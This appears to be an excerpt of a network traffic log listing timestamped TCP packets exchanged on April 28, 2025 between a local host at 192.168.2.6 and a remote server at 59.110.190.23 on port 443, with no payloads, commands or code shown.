Apr 28, 2025 16:40:43.783243895 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783302069 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783330917 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783394098 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783417940 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783507109 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783514977 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783529043 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783562899 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783611059 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783672094 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783699036 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783760071 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783785105 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783845901 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783874989 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783935070 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783957958 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784018040 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784040928 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784102917 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784131050 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784189939 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784214020 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784284115 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784327030 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784393072 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784440994 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784503937 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784534931 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784601927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784627914 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784693956 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784743071 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784810066 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784837961 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784898996 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.784928083 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.784993887 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785015106 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785075903 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785103083 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785159111 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785186052 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785248995 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785270929 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785330057 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785356045 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785414934 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785444975 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785516024 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785546064 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785617113 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785631895 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785698891 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785716057 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785783052 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785803080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785866976 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785885096 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.785944939 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.785969019 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786029100 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786053896 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786112070 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786138058 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786195993 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786225080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786288977 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786324024 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786387920 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786408901 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786465883 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786494017 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786557913 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786581039 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786751986 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786782026 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786844015 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786864996 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.786922932 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.786987066 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787049055 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787075996 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787138939 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787159920 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787249088 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787269115 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787286997 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787343979 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787379026 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787435055 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787470102 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787560940 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787563086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787585020 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787621975 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787632942 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787669897 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787755966 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787765026 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787820101 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787822008 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787861109 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787868977 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787914038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787924051 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787935019 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787955046 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787955046 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787978888 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.787986994 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.787998915 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788008928 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788033962 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788081884 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788086891 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788094044 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788095951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788125038 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788130045 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788147926 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788153887 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788172960 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788177967 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788199902 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788207054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788217068 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788228989 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788249969 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788270950 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788280964 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788291931 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788315058 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788328886 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788357973 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788366079 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788377047 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788392067 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788412094 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788420916 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788427114 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788449049 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788486004 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788502932 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788515091 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788527012 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788536072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788546085 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788547039 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788578033 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788594961 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788600922 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788608074 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788609028 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788638115 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788644075 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788655043 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788677931 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788690090 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788692951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788705111 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788733959 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788738966 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788753033 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788764954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788791895 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788796902 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788844109 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788855076 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788891077 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788914919 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788944006 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788950920 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788959026 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788969040 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.788974047 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.788996935 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789000988 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789019108 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789055109 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789058924 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789068937 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789102077 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789103985 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789141893 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789149046 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789161921 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789189100 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789191961 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789199114 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789227962 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789244890 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789252043 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789316893 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789324999 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789417982 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789473057 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789490938 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789545059 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789612055 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789661884 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789675951 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789681911 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789731979 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789737940 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789748907 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789783001 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789794922 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789800882 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789813995 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789824009 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789849997 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789855003 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789869070 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789889097 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789900064 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789905071 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789947987 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.789959908 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.789990902 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790040016 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790040016 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790045023 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790055990 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790090084 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790102005 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790112019 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790139914 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790158987 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790163040 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790173054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790205956 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790215015 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790221930 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790247917 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790257931 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790267944 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790272951 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790314913 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790397882 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790433884 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790452957 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790460110 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790478945 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790498972 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790505886 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790512085 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790534973 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790548086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790570974 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790577888 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790584087 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790607929 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790627956 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790636063 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790658951 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790676117 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790721893 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790777922 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790793896 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790822029 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790848017 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790858030 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790870905 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790885925 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790900946 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790905952 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.790946007 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.790960073 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791050911 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.791117907 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791181087 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.791239977 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791335106 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.791428089 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791596889 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.791651011 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791739941 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.791820049 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791842937 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.791968107 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.792023897 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792144060 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.792198896 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792391062 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.792443037 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792594910 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.792646885 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792737961 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.792781115 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792798996 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.792983055 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.793066025 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.793199062 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.793252945 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.793437004 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.793497086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.793544054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.793607950 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.793872118 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.793922901 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836173058 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836201906 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836230040 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836239100 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836306095 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836313009 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836324930 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836350918 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836361885 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836435080 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836468935 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836559057 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836600065 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836605072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836637020 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836642981 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836678982 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836709023 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836723089 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836725950 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836746931 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836775064 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836783886 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836791992 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836808920 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836833954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836846113 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836863041 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.836869955 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836888075 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.836896896 CEST	49696	443	192.168.2.6	59.110.190.23
